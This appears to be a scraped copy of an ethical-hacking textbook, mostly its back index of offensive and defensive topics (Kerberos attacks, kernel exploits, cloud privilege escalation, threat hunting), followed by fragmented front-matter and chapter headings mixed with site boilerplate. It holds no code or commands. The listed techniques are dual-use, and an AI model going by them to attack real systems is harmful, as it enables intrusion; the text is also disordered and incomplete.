RFS (root file system) for embedded RTOS (real-time operating system) for
devices, 428 embedded devices, 423
Ridlinghafer, Jarrett, 10 Rubeus tool, 360
ring 0 debuggers, 284 Ruby BlackBag tools, 310
ring-buffer communication in VMBus, Ruler tool, 120
537–538 rules of engagement (ROE) in penetration
ring compression in x86 virtualization, testing, 116
476–477 run-command feature in Azure, 586
RIP run iam__bruteforce_permissions
leaking in PIE bypassing, 230–231 command, 578
overwriting, 220–221, 236 RunningAsLUA function, 386
Ritchie, Dennis, 21 Rust, 292–296
Rodriguez, Jose RVAs (relative virtual addresses) of symbols, 300
contributions, 161
Jupyter notebooks, 191 S
Mordor, 168 S3 buckets in AWS, 569–571, 581
OSSEM project, 176 Safe Structured Exception Handling
threat hunting lab support, 154 (SafeSEH), 272–274
Rodriguez, Roberto Salvati, Marcello, 145
HELK development, 161 SAM (Security Account Manager)
Jupyter notebooks, 191 attack emulation, 181–183
Mordor, 168, 186 hypothesis-driven hunts, 183–185
OSSEM project, 176 obtaining, 177
threat hunting lab support, 154 SAML (Security Assertion Markup Language),
ROE (rules of engagement) in penetration 116, 571
testing, 116 samples per second rates in SDR, 448
roles in Azure, 590–592 SAST (static application security testing), 115
root accounts in AWS, 568
Index
663
Satellite view in Ghidra, 79 Security Information Event Management
saved frame pointer (SFP) (SIEM) devices, 174
PIE bypass, 231 segment registers, 36
stack canaries, 225 segmentation faults for buffer overflows, 202
scanf command, 26 segmentation of memory, 32
scheduled tasks in AWS, 580–583 SEH (Structured Exception Handling),
schedules 270–271
EHCI controller, 547–548 SeLoadDriverPrivilege for kernel drivers, 282
Kubernetes, 624 send_buf function, 494, 496
Schneier, Bruce, 8, 427 send_msg function, 496, 498
Schroeder, Will, 131 serial interfaces
scp module, 261 embedded devices, 411–417
SCP (Secure Copy Protocol), 259 SPI, 416–417
SCRAPE process UART, 411–415
Analyze phase, 454–461 Serial Peripheral Interface (SPI), 416–417
Capture phase, 450–452 serial ports for unikernel, 491
Execute phase, 464 Serial Wire Debug (SWD) protocol, 420–421
introduction, 449 server-side request forgery (SSRF)
Preview phase, 461–463 vulnerability, 573
Replay phase, 452–454 Service Principal Names (SPNs)
Search phase, 449–450 in Kerberos, 360
script block logging, 306 Service Principals in Azure, 587
script loading, 307 ServiceAccount in Kubernetes, 632–634
SDLC (software development life cycle) services in AWS, 568
process, application testing in, 115 sessions command for payload obfuscation, 139
SDProp process, 364 set follow-fork-mode child statement,
SDR. See software-defined radio (SDR) 213, 220
search Set-group identification (SGID), 206
Ghidra, 77 Set-MPPreference command, 322
Shodan. See Shodan search engine Set-user Identification (SUID), 206
Search phase in SCRAPE process, 449–450 setns() function, 608
Seatbelt tool setup_serial function, 492
system recon, 350–351 SFP (saved frame pointer)
user information, 346–348 PIE bypass, 231
Second Level Address Translation (SLAT), stack canaries, 225
482–483 SGID (Set-group identification), 206
SecretAccessKey in AWS, 574 Shacham, Hovav, 274
Secure Copy Protocol (SCP), 259 shadow paging in x86 virtualization, 477–479
Security Account Manager (SAM) shared libraries in Linux, 56
attack emulation, 181–183 SharpBlock tool, 150
hypothesis-driven hunts, 183–185 SharpHound tool, 356–357
obtaining, 177 SharpSploit framework, 141
Security Assertion Markup Language (SAML), SharpUp tool, 358–359
116, 571 shell command, 130
security engineering in MITRE ATT&CK shellcode
framework, 17 local buffer overflows, 207–208
security for containers, 613–615 Nim, 146
664
shellcraft package, 216 smart things, 394
shells, Metasploit, 129–131 SMEP (Supervisor Mode Execution
shells without exploits Protection), bypassing, 241–243
password hash captures, 325–331 snprintf function, 26–27
readings, 342 SoC (System on Chip) for embedded
references, 342 devices, 410
summary, 341–342 sockets
Winexe, 332–333 Docker, 618
WinRM, 338–341 Python, 53
WMI, 334–338 TCP, 127–128
Shodan search engine software-defined radio (SDR)
API, 401–402 buying, 447–449
command-line interface, 400–401 introduction, 446
Internet of Things, 396 readings, 465
MQTT services, 402–404 rules, 449
shortcuts in IDA Pro, 100–101 SCRAPE process. See SCRAPE process
SIDHistory object, abusing, 366–367 summary, 464
SIDs software development life cycle (SDLC)
converting, 355 process, application testing in, 115
domains, 363 software for embedded devices, 421–423
obtaining, 344–346 software-invisible traps in VMMs, 472
SIDT (Store Interrupt Descriptor Table Software Publisher Certificates (SPCs), 286
Register) instruction, 475 Software Reverse Engineering (SRE) tools, 71
SIEFP (Synthetic Interrupt Event Flags Page) software-visible mappings in VMMs, 472–473
MSRs, 528 Sotirov, Alex, 9
SIEM (Security Information Event SOWs (statements of work)
Management) devices, 174 for penetration testing, 114
signatures in C functions, 22 Spark SQL, 190–191, 193–194
SIMP (Synthetic Interrupt Message Page) SPAs (system physical addresses), 477–478, 482
MSRs, 527–528 SPCs (Software Publisher Certificates), 286
simple hypercalls in Hyper-V, 530–531 special registers, 36–37
simplicity property for unikernel, 489 SPFNs (system page frame numbers), 478
SINTx (synthetic interrupt source) register SPI (Serial Peripheral Interface), 416–417
MSRs, 526 SplAddPrinterDriverEx function, 388
6LoWPAN (Internet Protocol version 6 SPNs (Service Principal Names)
over Low-power Wireless Personal Area in Kerberos, 360
Networks), 395 spooling services, 383–388
sizeof() function, 23 SRE (Software Reverse Engineering) tools, 71
skills for purple teams, 123–124 SSRF (server-side request forgery)
SLAT (Second Level Address Translation), vulnerability, 573
482–483 Stack Analyzer, 74
sleep() function, 261–262 stack canaries, defeating, 225–228, 238–241
slow hypercalls in Hyper-V, 529–530 .stack directive in assembly language, 41
small buffers in local buffer overflows, stack pointer in IDA Pro, 103
210–212 Stack section in Immunity Debugger, 253, 257
SMAP (Supervisor Mode Access Prevention), stack section in memory, 33
bypassing, 244–246 StackGuard, 225–228
Index
665
stacks symbols
hypervisors, 488 IDA Pro, 93
Linux exploits, 199–201 SCRAPE process, 456–461
stageless payload generators, 129 SynIC (Synthetic Interrupt Controller)
standard USB requests, 544 MSRs, 526
statements of work (SOWs) for penetration Synopsys report, 6
testing, 114 synthetic interface for Hyper-V, 524–531
static application security testing (SAST), 115 Synthetic Interrupt Controller (SynIC)
static vulnerabilities analysis for embedded MSRs, 526
devices, 427–435 Synthetic Interrupt Event Flags Page (SIEFP)
status transactions for USB devices, 544 MSRs, 528
STIX (Structured Threat Information Synthetic Interrupt Message Page (SIMP)
Expression) language, 15 MSRs, 527–528
storage, container, 608–611 synthetic interrupt source (SINTx)
Store Interrupt Descriptor Table Register register MSRs, 526
(SIDT) instruction, 475 syscall instruction, 40
strace command, 58–59 Sysdig tools, 636
strcpy() function sysenter instruction, 40
buffer overflows, 204 system assigned identities in Azure, 598–600
C language, 26–27 system calls in assembly language, 40
IDA Pro debugging, 104–106 System Control Panel, 260
Windows kernel drivers, 290 system() function, 222
Windows programs, 255–256, 258 system information in WMI, 334–336
strings system internals in AWS, 580–583
buffer overflows, 201–202 System on Chip (SoC) for embedded
Linux, 57–58, 62–63 devices, 410
memory, 34 system page frame numbers (SPFNs), 478
Python, 46–48 system physical addresses (SPAs), 477–478, 482
strncpy command, 26–27 system recon
Structured Exception Handling (SEH), PowerShell, 348–350
270–271 Seatbelt, 350–351
Structured Threat Information Expression System Service Dispatcher, 282
(STIX) language, 15
sub command, 38 T
subscriptions in Azure, 586 tactics in MITRE ATT&CK framework,
SUID (Set-user Identification), 206 15–16
Supervisor Mode Access Prevention (SMAP), tactics, techniques, and procedures (TTPs),
bypassing, 244–246 118–119
Supervisor Mode Execution Protection tailgating, 119
(SMEP), bypassing, 241–243 target setup in hypervisor case study, 546
supervisor-sensitive CPU instructions, 471 tasks in Covenant, 135
swapgs instruction, 238, 242 TAXII (Trusted Automated Exchange of
SWD (Serial Wire Debug) protocol, 420–421 Intelligence Information) servers, 15
SwitchToFiber function, 144 TCP ports for Kubernetes, 627
symAddr function, 146 Tejeda, Huáscar, 67
symbol tables for C variables, 23 telecommunications, IoT things for, 394
Symbol Tree in Ghidra Code Browser, 75–76 templates in network evasion, 148–149
666
tenants, Azure, 594–595 Ticket Granting Tickets (TGTs), 361
terraform show command, 329 tickets in Kerberos, 360–361
test environment setup for vulnerabilities tiers in USB devices, 542
analysis, 436 time plots in SCRAPE process, 455–456
testing, penetration, 114–117 timing variances in Command and Control, 128
.text directive in assembly language, 41 TLS-based evasion, 147
.text section in memory, 33 Token CRC field in USB packets, 543
text view in IDA Pro, 95 _TOKEN structure, 296
TGSs (Ticket Granting Servers), 360 tokens
TGTs (Ticket Granting Tickets), 361 AWS, 574–575
Thread Information Blocks (TIBs), 270–271 EHCI controller, 548–550
threads in shellcode, 141 Kubernetes, 630–631
threat hunting patch analysis, 545–546
AtomicRedTeam attacker emulation, payload obfuscation, 136–137
181–183 stealing in Windows kernel exploits,
basics, 173 296–297, 300–301
data-driven hunts, 177–180 toolbar in Ghidra Code Browser, 74
description, 173 TP enumeration
hypothesis-driven, 183–186 research framework clients, 502
MITRE ATT&CK framework, 17 unikernel communication, 493–494
Mordor datasets, 186–190 transportation and logistics, IoT things for, 394
normalizing data sources, 175–176 trap-and-emulate VMMs, 471
playbook, 190–194 trigger_overflow method, 552
readings, 195 triggers in hypervisor case study
references, 195–196 developing, 546–552
Spark and Jupyter, 190–194 running, 551–552
summary, 195 triggering, 549–551
types, 174–175 Trusted Automated Exchange of Intelligence
workflow, 175 Information (TAXII) servers, 15
threat hunting labs TTPs (tactics, techniques, and procedures),
description, 152 118–119
DetectionLab, 154–160 turbodiff tool, 374–378
HELK, 161–163 Tuyl, Russel Van, 143
Kibana, 164–167 Type-1 hypervisors, 474–475, 488
Mordor, 168–169 Type-2 hypervisors, 474–475, 488
options, 153–154
readings, 169–170 U
references, 170–171 U-Boot bootloader for embedded devices,
summary, 169 421–422
winlogbeat, 163–164 UAC (User Account Control)
threat simulation and emulation for red teams, bypassing, 319–320
118–120 PowerSploit, 316
ThreatHunterPlaybook, 154 system recon, 351
threats research, 124–125 UART (Universal Asynchronous Receiver-
TIBs (Thread Information Blocks), 270–271 Transmitter) protocol, 411–415
Ticket Granting Servers (TGSs), 360 UDP ports in Kubernetes, 627
Index
667
UEFI (Unified Extensible Firmware Interface) USB system. See Universal Serial Bus
architecture, 523–524 (USB) system
UMIP (User-Mode Instruction Prevention), 475 USBCMD register, 548
unauthenticated access to MQTT services, 404 USBDescString object, 557–558
unauthenticated vulnerability scanning USBDevice structure, 552–556
in red teams, 113 USBPort structure, 560
UNC (Universal Naming Convention) paths User Account Control (UAC)
in PowerShell, 312–313 bypassing, 319–320
Unified Extensible Firmware Interface (UEFI) PowerSploit, 316
architecture, 523–524 system recon, 351
Uniform Resource Identifiers (URIs) user-land debuggers for Windows kernel, 284
in Kubernetes, 627–628 User-Mode Instruction Prevention (UMIP), 475
unikernel User Principal Names (UPNs) in Azure, 595
boot message implementation, 497–499 user-sensitive CPU instructions, 471
booting, 489–492 UserData field in AWS, 579
communication, 489–497 UserDataSwap tool, 580–582
overview, 489 users
request handling, 499–500 Azure accounts, 587
union file system (UnionFS), 608 Azure Active Directory lookups, 594–595
Universal Asynchronous Receiver-Transmitter finding information on, 346–348
(UART) protocol, 411–415 password searches, 359–360
Universal Naming Convention (UNC) recon, 344
paths in PowerShell, 312–313 SIDs, obtaining, 344–346
Universal Serial Bus (USB) system UUIDs (universally unique identifiers), 534
control transfers, 542
endpoints, 542 V
introduction, 542 Vagrant for DetectionLab, 156–157
packets, 543–544 validated vulnerability scanning
patch analysis, 544–546 by red teams, 113
pipes, 542 ValidateObjectAccess function, 388
standard requests, 544 Van Eeckhoutte, Peter, 258, 265
universally unique identifiers (UUIDs), 534 variable-size header hypercalls in Hyper-V, 531
unmanaged tenants in Azure, 595 variables in C language, 23–24
Unrestricted execution policy in VAs (virtual addresses) in x86 virtualization,
PowerShell, 308 477–478
unshare() function, 608 vendor disclosure, 7
update packages for embedded devices, VEs (Virtualization Exceptions), 483
427–432 vfprintf() function, 204
UPNs (User Principal Names) in Azure, 595 VID (Virtualization Infrastructure Driver), 520
URIs (Uniform Resource Identifiers) in VID Notification Dispatcher (VND), 520
Kubernetes, 627–628 virtual addresses (VAs) in x86 virtualization,
usb_desc_get_string function, 557 477–478
usb_desc_string function, 556–557 virtual machine control structure (VMCS),
usb_ehci_realize function, 560 481–482, 488
usb_packet_copy function, 545, 549–553 Virtual Machine Extensions (VMX) instruction
usb_register_port function, 560 set, 480–482
668
virtual machine monitors (VMMs). VMCS (virtual machine control structure),
See hypervisors 481–482, 488
Virtual Machine User Login role in Azure, vmlinux file, 233
591–592 vmmap vuln command, 231
Virtual Machine Worker Process VMMs (virtual machine monitors).
(vmwp.exe), 520 See hypervisors
virtual machines (VMs) VMs. See virtual machines (VMs)
AWS, 586 vmwp.exe (Virtual Machine Worker
generations, 522–524 Process), 520
Hyper-V, 519 VMX (Virtual Machine Extensions)
hypervisors. See hypervisors instruction set, 480–482
ProSSHD server exploitation, 259 VND (VID Notification Dispatcher), 520
Windows kernel debugging, 284–285 volatile RAM, 31–32
Virtual Trust Levels (VTLs) in Hyper-V, 519, VSCs (Virtualization Service Consumers), 520
521–522 VSPs (Virtualization Service Providers), 520
VirtualAlloc function VTLs (Virtual Trust Levels) in Hyper-V, 519,
Go launchers, 144 521–522
ROP chains, 275 vulnerabilities
VirtualBox, 155–156 application diffing, 370
Virtualization Exceptions (VEs), 483 disclosures history, 6–7
Virtualization Infrastructure Driver (VID), 520 penetration testing, 114–117
Virtualization Service Consumers (VSCs), 520 red team scanning for, 112–113
Virtualization Service Providers (VSPs), 520 vulnerabilities analysis for embedded devices
virtualization stacks in hypervisors, 488 dynamic, with emulation, 440–445
VirtualProtect function dynamic, with hardware, 436–440
Go launchers, 144 readings, 446
Nim launchers, 146 references, 446
ROP chains, 276–278 static, 427–435
VM-Enter transitions, 480 summary, 445
VM-Exit transitions VxWorks RTOS, 423
attack surfaces, 488–489
EPTs, 483 W
fuzzers, 514 WAF (web application firewall),
reasons, 482 AWS triggering of, 574
VMCS, 481–482 WaitForSingleObject command, 141–142
VMX, 480–481 Warner, Justin, 131
worker processes, 520 WDK (Windows Driver Kit), 283
VMBus WDM (Windows Driver Model), 286
channels, 534–537 weaponization in Cyber Kill Chain, 12
device listing, 534 wearable items, 394
Hyper-V, 532–538 web, bootstrapping via, 311–313
initiation, 532–533 web application firewall (WAF), AWS
offer requests, 533–534 triggering of, 574
ring-buffer communication, 537–538 web application penetration testing, 115
VMCALL method web interface for Internet of Things, 397–400
hypercall page MSRs, 525 Web Proxy Auto-Discovery protocol, 328–329
x86 virtualization, 480 Wei, Xiao, 541
Index
669
Well-known groups for Active Directory, 346 ProSSHD server, 258–260
wget tool, 138, 140 readings, 280
while loops in C language, 27–28 references, 280
White Hat Bug Bounty Program, 10 return-oriented programming, 274–279
white hat hackers, 4 SafeSEH, 272–274
white space in Python, 52 Structured Exception Handling, 270–271
whoami command summary, 280
Convenant, 135 Windows Hardware Quality Labs (WHQL)
domain information, 352 Release signatures, 286
kernel exploits, 302 Windows kernel exploits
Linux root, 202 debugging, 284–285
PACU, 578 drivers, interacting with, 292–296
privilege identification, 320, 344–346 drivers, obtaining, 286–287
shell user ID, 333 drivers, overview, 282–284
SIDs, 367 drivers, reverse engineering, 287–288
user recon, 344 drivers, target selection, 285–286
WinRM, 339 kernel overview, 281–282
WHQL (Windows Hardware Quality Labs) pointer read/write, 297–298
Release signatures, 286 readings, 302
Wi-Fi, 395 references, 303
Wilhelm, Felix, 618 summary, 302
win32_logonsession class, 334 token stealing, 296–297
WinDbg debugger, 284–285 writing, 298–302
Windows Defender Windows Management Instrumentation (WMI)
kernel exploits, 302 command execution, 337–338
node backdoors, 600 system information, 334–336
PowerSploit, 316 Windows Update tool, 379
system recon, 348 Winexe tool, 332–333
Windows Defender Exploit Guard, 272 winlogbeat, 163–164
Windows Driver Kit (WDK), 283 winPEAS (Privilege Escalation Awesome
Windows Driver Model (WDM), 286 Script) tool, 357–358
Windows exploitation WinRAR utility, 120
attack vectors, 264–266 WinRM tool
compiling programs, 250–252 command execution, 338–341
crashing programs, 255–258 PowerShell Empire launch, 320–321
Data Execution Prevention, 274 threat simulation and emulation, 118–119
debugging programs, 252–254 wireless protocols, 394–395
exploit building, 266–267 WMI Query Language (WQL) queries, 334
exploit debugging, 267–269 WMI (Windows Management
exploit development process, 258 Instrumentation)
instruction pointer, 260–262 command execution, 337–338
introduction, 249–250 system information, 334–336
kernel. See Windows kernel exploits words, memory, 31
memory bypassing, 271–272 worker processes in Hyper-V, 520
offsets, 262–264 workflow in threat hunts, 175
post-exploitation. See post-exploitation in workspace in Ghidra, 72
modern Windows environments worms in Internet of Things, 404–405
670
WPAD server for Responder, 328–329 Y
WQL (WMI Query Language) queries, 334
YAddPrinterDriverEx function, 387
wredir option in Responder, 328
YImpersonateClient function, 386
write_serial function, 492
YIsElevationRequired function, 386–387
writes, pointer, 297–298
Yosifovich, Pavel, 281
X YRestrictDriverInstallationToAdministrators
function, 385–386
x86 virtualization
dynamic binary translation, 476 Z
introduction, 475
Z-Wave protocol, 395
paravirtualization, 479–480
Zatko, Peiter “Mudge,” 5
ring compression, 476–477
Zhang, Ziming, 541
shadow paging, 477–479
Zigbee protocol, 395
XD feature in Data Execution Prevention, 274
zones in Kubernetes, 623
XOR-based encryption, evading, 147
xor command, 38–39
xrefs (cross-references) in IDA Pro, 96–97

Read 1

Uploaded by

Copyright:

Available Formats

Read 1

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Read 1

Uploaded by

Copyright:

Available Formats

Praise for Gray Hat Hacking:

The Ethical Hacker’s Handbook, Sixth Edition

Dr. Allen Harper, Ryan Linn, Stephen Sims,

New York Chicago San Francisco

eBook conversion by codeMantra

About the Contributor

About the Technical Editor

Part II Ethical Hacking

Part III Hacking Systems

Part V Hacking Hypervisors

Part VI Hacking the Cloud

Part II Ethical Hacking

Part III Hacking Systems

Part IV Hacking IoT

Part VI Hacking the Cloud

There is no instance of a nation benefitting from prolonged warfare.

NOTE To ensure your system is properly conigured to perorm the labs,

Chapter 1 Gray Hat Hacking

Gray Hat Hacking Overview

Ethics and Hacking

Definition of Gray Hat Hacking

History of Ethical Hacking

History of Vulnerability Disclosure

Full Vendor Disclosure

No More Free Bugs

Controversy Surrounding Bug Bounty Programs

Advanced Persistent Threats

Lockheed Martin Cyber Kill Chain

Command and Actions on

The model was developed, by extending Department of Defense (DoD) targeting

Command and Control (C2)

Courses of Action for the Cyber Kill Chain

MITRE ATT&CK Framework

Cyber Threat Intel

Cyber Threat Emulation

Basic C Language Constructs

The following is a simple example:

Variable Type Use Typical Size

an integer (normally 4 bytes) is declared in memory with a symbol of a and an initial

where destination is the location in which the final outcome is stored.

Table 2-2 Format Type Meaning Example

Lab 2-1: Format Strings

Now, we can look at our code:

Lab 2-2: Loops

Loops are used in programming languages to iterate through a series of commands

Therefore, a for loop like

Loops may also be nested within each other.

Lab 2-3: if/else

Lab 2-4: hello.c

Lab 2-5: meet.c

Compiling with gcc

Lab 2-6: Compiling meet.c

Then, to execute the new program, you type

Random Access Memory

Putting the Pieces of Memory Together

Lab 2-7: memory.c

First we will list the contents of the program by using cat:

Register 64-bit Register 32-bit Register 16- and 8-bit

Assembly Language Basics